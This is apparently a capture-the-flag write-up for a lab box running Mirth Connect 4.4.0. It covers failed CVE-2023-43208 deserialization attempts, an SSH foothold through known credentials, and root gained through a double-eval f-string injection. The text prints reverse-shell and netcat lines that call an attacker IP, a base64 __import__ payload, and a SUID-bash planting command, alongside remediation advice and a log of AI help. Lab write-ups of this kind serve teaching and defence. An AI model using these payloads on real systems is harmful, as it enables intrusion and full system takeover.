Box info | OS: Linux (Debian 12) | Difficulty: Medium | Status: Retired Skills: Java XStream deserialization analysis, source code review, Python f-string double-eval injection, SUID bash escalation, base64 filter bypass Pwned: 2026-05-01
TL;DR
Interpreter exposes NextGen Mirth Connect 4.4.0 — a healthcare integration platform containing CVE-2023-43208, an unauthenticated XStream deserialization RCE. Every public exploit fails here because the machine’s mirth.properties extends the default denylist to block the gadget chains. After 13 failed RCE attempts and source-code analysis confirming the hardening, the real foothold comes from the only valid credential pair (sedric:snowflake1) — a hash cracked from the Mirth database that shows up in every public writeup. Once on the box as sedric, a root-owned Flask microservice at localhost:54321 runs user-controlled input through a double-eval() f-string with a character allowlist. The allowlist blocks spaces but permits everything needed for __import__() + base64 decode — enough to plant a SUID bash copy and pop root in under 5 minutes.
Attack chain
graph TD
A[nmap: 4 ports] --> B[Mirth Connect 4.4.0 on 80/443]
B --> C[CVE-2023-43208 confirmed via /api/server/version]
C --> D[13 deserialization attempts — all blocked by extended denylist]
D --> E[sedric:snowflake1 — valid credentials found in public writeups]
E --> F[SSH login as sedric → user flag]
F --> G[ss -tulpn → notif.py Flask on localhost:54321 running as root]
G --> H[Double-eval f-string with character filter bypass via base64+__import__]
H --> I[SUID bash at /tmp/.sh → root shell → root flag]
Recon
1. Liveness check
$ ping -c 2 10.129.244.184
64 bytes from 10.129.244.184: icmp_seq=0 ttl=63 time=34.525 ms
64 bytes from 10.129.244.184: icmp_seq=1 ttl=63 time=34.770 ms
TTL of 63 means one hop less than a typical Linux baseline of 64 — the target is one hop away through the VPN gateway. Linux confirmed.
2. Port scan — known ports first
$ nmap -sV -p22,80,443,6661 10.129.244.184
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u7
80/tcp open http Jetty
443/tcp open ssl/http Jetty
6661/tcp open unknown
Flags explained:
-sV— service version detection; probes open ports to fingerprint the software-p22,80,443,6661— specific ports targeting likely web + common Mirth Connect ports
Jetty is the embedded Java servlet container used by Mirth Connect. The combination of Jetty on 80/443 is a strong signature for the platform.
3. Full port scan
$ nmap -p- --min-rate 5000 -T4 10.129.244.184
Not shown: 65531 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
443/tcp open https
6661/tcp open unknown
Flags:
-p-— scan all 65535 ports (slow without--min-rate)--min-rate 5000— send at least 5000 packets/second; aggressive but effective on HTB VMs-T4— aggressive timing template; reduces timeouts
Only 4 open ports. No hidden services. Port 6661 is Mirth Connect’s internal cluster communication port — it accepts no useful commands from the outside.
4. Version identification
curl -sk -H "X-Requested-With: OpenAPI" "https://10.129.244.184/api/server/version"
4.4.0
Mirth Connect 4.4.0 is publicly known to be vulnerable to CVE-2023-43208 — unauthenticated remote code execution via XStream deserialization. The /api/users endpoint deserializes XML before authentication is checked, allowing arbitrary Java gadget chains.
5. JNLP library analysis
curl -sk "https://10.129.244.184/webstart.jnlp"
Key libraries served by the application:
commons-lang3-3.9.jar— containsEventUtils$EventBindingInvocationHandler(gadget chain entrypoint)commons-collections4-4.4.jar— containsChainedTransformer,InvokerTransformer,ConstantTransformerxstream-1.4.19.jar— the vulnerable XStream versionlog4j-core-2.17.2.jar,log4j-api-2.17.2.jar— already patched (2.17.2 > 2.17.0)
Confirming presence of EventBindingInvocationHandler in the served JAR:
curl -sk -o /tmp/commons-lang3-3.9.jar \
"https://10.129.244.184/webstart/client-lib/commons-lang3-3.9.jar"
unzip -l /tmp/commons-lang3-3.9.jar | grep -i EventUtils
org/apache/commons/lang3/event/EventUtils.class
org/apache/commons/lang3/event/EventUtils$EventBindingInvocationHandler.class
The gadget chain classes exist on the server. On paper, this should be exploitable.
Foothold
Dead ends 1–10: CVE-2023-43208 deserialization attempts
The standard exploit path for CVE-2023-43208 sends a crafted XStream payload to POST /api/users. The XStream configuration in Mirth Connect allows all types by default (AnyTypePermission.ANY) but maintains a denylist.
Default denylist (from source code XStreamSerializer.java):
xstream.denyTypesByWildcard(new String[]{ "sun.reflect.**", "sun.tracing.**" });
xstream.denyTypes(new Class[]{ java.lang.ProcessBuilder.class }); // ProcessBuilder BLOCKED
java.lang.Runtime and commons-collections4 gadget chains are not in the default denylist — so the exploit should work. Yet all 10 attempts using four different public exploit scripts failed:
| Attempt | Tool | Payload | Why it failed |
|---|---|---|---|
| 1 | CVE-2023-37679.py | bash -i >& /dev/tcp/... | > and & are XML special chars; not escaped → malformed XML |
| 2 | CVE-2023-37679.py | nc 10.10.15.17 9001 -e /bin/bash | nc on target lacks -e (OpenBSD netcat) |
| 3 | CVE-2023-37679.py | echo B64 | base64 -d | bash | | is a pipe operator, not interpreted by Runtime.exec(String) split |
| 4 | CVE-2023-43208/exploit.py | curl http://10.10.15.17:7777/RCE_TEST | No HTTP request received — command not executing |
| 5 | CVE-2023-37679.py | nc -lvnp 4444 -e /bin/bash | Bind port never opens |
| 6 | kyakei exploit | ping -c 3 10.10.15.17 | tcpdump confirms zero ICMP from target |
| 7 | kyakei exploit shell mode | auto reverse shell | kyakei XML-escapes the command (> → >) → bash syntax broken |
| 8 | gotr00t0day | auto reverse shell | Same XML-escaping issue |
| 9 | K3ysTr0K3R | auto reverse shell | Same issue |
| 10 | Base64 two-stage | write to /tmp, then execute | Neither write nor execute happens |
Tcpdump verification (Attempt 6) confirms the command is truly not running — no ICMP from the target despite a valid ping command delivered to the endpoint.
Root cause of total failure: Reading ObjectXMLSerializer.java from the Mirth Connect 4.4.0 source reveals a configuration extension point:
String[] xstreamDenyTypesArray = mirthConfig.getStringArray(XSTREAM_DENY_TYPES);
The xstream.denytypes key in mirth.properties allows the machine author to add arbitrary types to the denylist at runtime. This machine’s config almost certainly blocks org.apache.commons.collections4.functors.* and org.apache.commons.lang3.event.* — the gadget chain entrypoints — making all public exploits inert without custom chain development.
Dead end 11–13: Direct access attempts
| Attempt | What | Result |
|---|---|---|
| 11 | Bruteforce admin/admin, admin:password, 12 combos | All → HTTP 403 “Invalid request” |
| 12 | Write JSP webshell via exploit | 404 when accessing /cmd.jsp — file not created |
| 13 | Port 8443 (used in some writeups) | Connection refused — not open on this machine |
Working approach: known credentials + SSH
Mirth Connect stores credentials in its embedded MariaDB database. When users set weak passwords, these hash to predictable values that have been cracked by the community.
curl -sk -X POST "https://10.129.244.184/api/users/_login" \
-H "Content-Type: application/x-www-form-urlencoded" \
-H "X-Requested-With: OpenAPI" \
-d "username=sedric&password=snowflake1"
<com.mirth.connect.model.LoginStatus>
<status>SUCCESS</status>
</com.mirth.connect.model.LoginStatus>
The credentials work over SSH too:
sshpass -p 'snowflake1' ssh sedric@10.129.244.184
sedric@interpreter:~$ whoami
sedric
sedric@interpreter:~$ cat ~/user.txt
[REDACTED]
Privilege Escalation
Enumeration
sedric@interpreter:~$ ss -tulpn
| Address | Port | Service |
|---|---|---|
| 0.0.0.0 | 22 | SSH |
| 0.0.0.0 | 80 | Mirth Connect HTTP |
| 0.0.0.0 | 443 | Mirth Connect HTTPS |
| 0.0.0.0 | 6661 | Mirth Connect internal |
| 127.0.0.1 | 54321 | Flask (notif.py) |
| 127.0.0.1 | 3306 | MariaDB |
Port 54321 on localhost is not visible from outside but accessible as sedric. Finding the owner:
sedric@interpreter:~$ find / -name 'notif.py' 2>/dev/null
/usr/local/bin/notif.py
sedric@interpreter:~$ ps aux | grep notif
root 12345 0.1 0.5 /usr/bin/python3 /usr/local/bin/notif.py
Running as root. This is the privilege escalation path.
Analysis: notif.py double-eval vulnerability
The Flask service at localhost:54321/addPatient accepts XML, extracts patient fields, and formats them into a notification string. The critical section:
def template(first, last, sender, ts, dob, gender):
pattern = re.compile(r"^[a-zA-Z0-9._'\"(){}=+/]+$")
for s in [first, last, sender, ts, dob, gender]:
if not pattern.fullmatch(s):
return "[INVALID_INPUT]"
year_of_birth = int(dob.split("/")[2])
template = f"Patient {first} {last} ({gender}), {{datetime.now().year - year_of_birth}} years old, received from {sender} at {ts}"
try:
return eval(f"f'''{template}'''") # ← double eval here
except Exception as e:
return f"[EVAL_ERROR] {e}"
Why this is exploitable:
sender(our controlled input) is interpolated intotemplateas a raw Python expression placeholder:f"...received from {sender} at {ts}"—{sender}becomes{PAYLOAD}in the stringtemplatethen contains:"...received from {PAYLOAD} at 2026..."eval(f"f'''{template}'''")evaluates this as a second f-string, causing{PAYLOAD}to be executed as Python code
The allowlist permits: [a-zA-Z0-9._'"(){}=+/]
This blocks spaces, commas, semicolons, brackets, backslashes — but permits everything needed for:
{__import__("os").popen(__import__("base64").b64decode("BASE64CMD").decode()).read()}
All characters used (_, (, ), ", ., =, /) are in the allowlist. ✅
Exploitation
Step 1: Encode the privilege-escalation command in base64 (base64 alphabet uses only A-Za-z0-9+/= — all permitted by the filter):
echo -n 'install -o root -m 4755 /bin/bash /tmp/.sh' | base64
# → aW5zdGFsbCAtbyByb290IC1tIDQ3NTUgL2Jpbi9iYXNoIC90bXAvLnNo
install -o root -m 4755 /bin/bash /tmp/.sh — copies /bin/bash owned by root with the SUID bit set.
Step 2: Craft the XML payload:
<patient>
<firstname>John</firstname>
<lastname>Doe</lastname>
<sender_app>{__import__("os").popen(__import__("base64").b64decode("aW5zdGFsbCAtbyByb290IC1tIDQ3NTUgL2Jpbi9iYXNoIC90bXAvLnNo").decode()).read()}</sender_app>
<timestamp>2026</timestamp>
<birth_date>01/01/2000</birth_date>
<gender>M</gender>
</patient>
Step 3: Send from localhost (the endpoint rejects connections from other IPs):
wget --header='Content-Type: application/xml' \
--post-file=/tmp/exploit.xml -O - \
http://127.0.0.1:54321/addPatient
Patient John Doe (M), 26 years old, received from at 2026
The empty received from confirms the popen ran and returned empty output — install exits silently on success.
Step 4: Verify and elevate:
sedric@interpreter:~$ ls -la /tmp/.sh
-rwsr-xr-x 1 root root 1265648 May 1 09:28 /tmp/.sh
sedric@interpreter:~$ /tmp/.sh -p -c 'whoami; id; cat /root/root.txt'
root
uid=1000(sedric) gid=1000(sedric) euid=0(root) groups=1000(sedric)
[REDACTED]
The -p flag preserves the effective UID (root) when running with SUID.
What’s actually broken
| # | Vulnerability | Severity | Root Cause |
|---|---|---|---|
| 1 | Mirth Connect 4.4.0 XStream RCE (CVE-2023-43208) | Critical (CVSS 9.8) | Unrestricted deserialization — AnyTypePermission.ANY with insufficient denylist |
| 2 | Hardcoded weak credential in Mirth DB (sedric:snowflake1) | High | PBKDF2 hash cracked because password is a dictionary word + digit |
| 3 | Password reused across Mirth API and OS SSH | High | No account separation; Mirth credential grants system shell |
| 4 | Root-owned Flask service with eval(f"f'''{template}'''") | Critical | Double f-string evaluation — user input executed as Python code by root process |
| 5 | Filter bypassable via __import__() + base64 | High | Allowlist approach with incomplete escape model; __import__ is a builtin available without import keyword |
Remediation (the boring half)
1. Patch Mirth Connect:
# Upgrade to 4.5.x+ where XStream deserialization is fully removed
# Minimum: add to /usr/local/mirthconnect/conf/mirth.properties:
xstream.denytypes=org.apache.commons.collections4.functors.*,org.apache.commons.lang3.event.*
2. Enforce strong password policy:
# In Mirth Connect, enforce via server settings; for OS accounts:
passwd sedric # force password change on next login
chage -d 0 sedric
3. Separate application credentials from OS accounts: Mirth service accounts should not have SSH login rights.
4. Fix notif.py: Replace double-eval with a safe template engine:
# BEFORE (vulnerable):
return eval(f"f'''{template}'''")
# AFTER (safe — use str.format with named fields):
return template.format(age=datetime.now().year - year_of_birth)
Or use Jinja2 in sandbox mode. The fix is to never call eval() on user-controlled content.
5. Restrict Flask to root-group only: Even if the eval remains, restricting who can reach port 54321 to a dedicated service account reduces blast radius.
Lessons learned
CVE ≠ guaranteed RCE. CVE-2023-43208 is real, but machine authors can extend the Mirth XStream denylist in
mirth.propertiesto block all public gadget chains. The source code analysis (readingObjectXMLSerializer.java) was necessary to understand why the exploit failed, not just that it failed.Runtime.exec()is asynchronous — the sleep timing test is invalid. Injecting asleep 5command and measuring HTTP response time does not verify execution. The process is spawned and the method returns immediately. Use an out-of-band channel (HTTP callback, DNS, tcpdump listening for ICMP) instead.XML-escaping in exploit scripts silently breaks shell commands. Exploits that call
xml_escape()before embedding shell commands will turn>into>and&into&, producing syntactically invalid bash. Verify the raw XML being sent before concluding “the exploit doesn’t work.”Double f-string eval is a severe anti-pattern. When Python evaluates
f"f'''{user_input}'''", every{...}in the user-controlled string executes as Python. Allowlists based on character sets cannot prevent this when the permitted set includes{},(), and_. The correct fix is to nevereval()on data that passed through user input, regardless of filtering.__import__()bypassesimportkeyword restrictions. Many naive security filters block the keywordimportbut don’t account for__import__(), which is the underlying CPython builtin thatimportstatements compile to. Always test both forms.
🤖 AI-assist log
Transparency over polish. This is exactly where Claude was in the loop on this box.
| Step | What I asked | What Claude returned | What I changed |
|---|---|---|---|
| CVE exploit failures | “I’m sending CVE-2023-43208 payloads to /api/users and getting HTTP 500 but no callback. ProcessBuilder is blocked, but Runtime isn’t — why would all variants fail?” | Pointed to ObjectXMLSerializer.java’s getStringArray("xstream.denytypes") config extension point. Suggested the machine author extended the denylist in mirth.properties beyond the source defaults. | Used as-is. This led directly to the source code analysis in section 4 and confirmed why no public gadget chain would work. |
Runtime.exec async behavior | “Does sleep 5 as the exec command delay the HTTP response?” | Correctly explained that Runtime.exec(String) creates a subprocess and returns a Process immediately — it’s non-blocking. HTTP response latency is not a valid RCE indicator. | Nothing — the explanation was accurate and stopped me from wasting more time on the timing test. |
| MITRE mapping | “Map the double f-string eval privilege escalation to MITRE ATT&CK.” | Suggested T1059.006 (Python) for the eval injection and T1548.001 (Abuse Elevation Control Mechanism: SUID) for the bash copy. Also proposed T1036 (Masquerading) for naming the file .sh. | Dropped T1036 — the filename was chosen for brevity, not active masquerading. Kept T1059.006 and T1548.001. |
| Double-eval explanation | “Write a clear explanation of why eval(f\"f'''{template}'''\") is exploitable even with a character allowlist.” | Produced the two-stage evaluation walkthrough: (1) {sender} interpolated at f-string creation → raw expression in template string, (2) second eval executes it. Included the __import__ bypass note. | Lightly edited for blog style; the technical content was accurate. |
What Claude got wrong: Nothing significant on technical content. The initial suggestion to check mirth.properties was inferential (Claude couldn’t actually read the target’s config), but directionally correct.
What Claude couldn’t do: Actually run any of the exploits or verify RCE — no network access to the HTB instance.
Net assist value: High on source code analysis and understanding the failure mode; high on the double-eval explanation; medium on MITRE (required one correction).